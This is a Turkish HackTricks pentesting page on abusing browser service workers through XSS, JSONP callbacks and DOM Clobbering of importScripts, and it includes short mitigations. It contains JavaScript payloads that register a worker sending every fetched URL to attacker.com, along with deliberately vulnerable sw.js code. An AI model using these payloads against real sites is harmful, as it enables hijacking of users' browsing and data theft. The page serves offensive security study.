# Hizmet İşçilerini Kötüye Kullanma
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **Hacking püf noktalarınızı göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Temel Bilgiler **Hizmet işçisi**, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, böylece **çevrimdışı ve arka plan işleme** yeteneklerini artıran özellikleri etkinleştiren bir betiktir. Hizmet işçileri hakkında detaylı bilgiye [buradan](https://developers.google.com/web/fundamentals/primers/service-workers) ulaşılabilir. Savunmasız bir web alanı içinde hizmet işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini ele geçirebilirler. ### Varolan Hizmet İşçilerini Kontrol Etme Varolan hizmet işçileri, **Geliştirici Araçları**'ndaki **Uygulama** sekmesindeki **Hizmet İşçileri** bölümünde kontrol edilebilir. Başka bir yöntem, daha detaylı bir görünüm için [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) adresini ziyaret etmektir. ### İtme Bildirimleri **İtme bildirimi izinleri**, bir **hizmet işçisinin** doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik riskleri artar ve potansiyel saldırıları alıp yürütme yeteneğini etkinleştirir. ## Hizmet İşçisi Oluşturarak Saldırı Bu zafiyeti sömürmek için şunları bulmanız gerekir: * Sunucuya **keyfi JS** dosyaları yüklemek için bir yol ve yüklenen JS dosyasının hizmet işçisini yüklemek için bir **XSS** bulun * **Manipüle edebileceğiniz (keyfi JS kodu ile)** savunmasız bir **JSONP isteği** ve bir **XSS** ile **JSONP'yi yükleyen bir yük** oluşturacak bir **payload** ile **zararlı bir hizmet işçisi yüklemek** için. Aşağıdaki örnekte, `fetch` etkinliğini dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir hizmet işçisi **kaydetmek** için gereken kodu sunacağım: ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` Ve işte **işçiyi kaydedecek olan kod** (uygulayabileceğiniz **XSS**'i suiistimal ederek çalıştırmanız gereken kod). Bu durumda, **saldırganın** sunucusuna bir **GET** isteği gönderilecek ve hizmet işçisinin kaydının başarılı olup olmadığı **bildirilecek**: ```javascript ``` Zararlı bir JSONP ucu söz konusu olduğunda değeri `var sw` içine koymalısınız. Örneğin: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` **Service Worker** kötüye kullanmak için çok yararlı olacak olan [**Shadow Workers**](https://shadow-workers.github.io) adında bir **C2** bulunmaktadır. **24 saatlik önbellek yönergesi**, bir XSS güvenlik açığı düzeltmesinden sonra en fazla 24 saat boyunca kötü niyetli veya tehlikeli bir **hizmet işçisinin (SW)** yaşamını sınırlar, çevrimiçi istemci durumu varsayılarak. Zayıflığı en aza indirmek için site işletmecileri SW betiğinin Zaman-Canlılığı (TTL)'nı düşürebilir. Geliştiricilere hızlı devre dışı bırakma için bir [**hizmet işçisi kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları da tavsiye edilir. ## DOM Clobbering aracılığıyla SW'de `importScripts`'in Kötüye Kullanımı Bir Hizmet İşçisinden çağrılan **`importScripts`** işlevi, **farklı bir etki alanından bir betiği içe aktarabilir**. Bu işlev, bir saldırganın **değiştirebileceği bir parametre** kullanılarak çağrıldığında, saldırganın **kendi etki alanındaki bir JS betiğini içe aktarmasına** ve XSS almasına olanak tanır. **Bu, CSP korumalarını bile atlar.** **Örnek zafiyetli kod:** * **index.html** ```html ``` * **sw.js** ```javascript const searchParams = new URLSearchParams(location.search); let host = searchParams.get('host'); self.importScripts(host + "/sw_extra.js"); //host can be controllable by an attacker ``` ### DOM Clobbering ile DOM Clobbering hakkında daha fazla bilgi için şu bağlantıya bakın: {% content-ref url="dom-clobbering.md" %} [dom-clobbering.md](dom-clobbering.md) {% endcontent-ref %} Eğer SW'nin **`importScripts`** çağırdığı URL/domain, **bir HTML öğesi içindeyse**, SW'nin **kendi alan adınızdan bir betik yüklemesini sağlamak için DOM Clobbering ile değiştirilebilir**. Bu konunun örneği için referans bağlantısına bakın. ## Referanslar * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.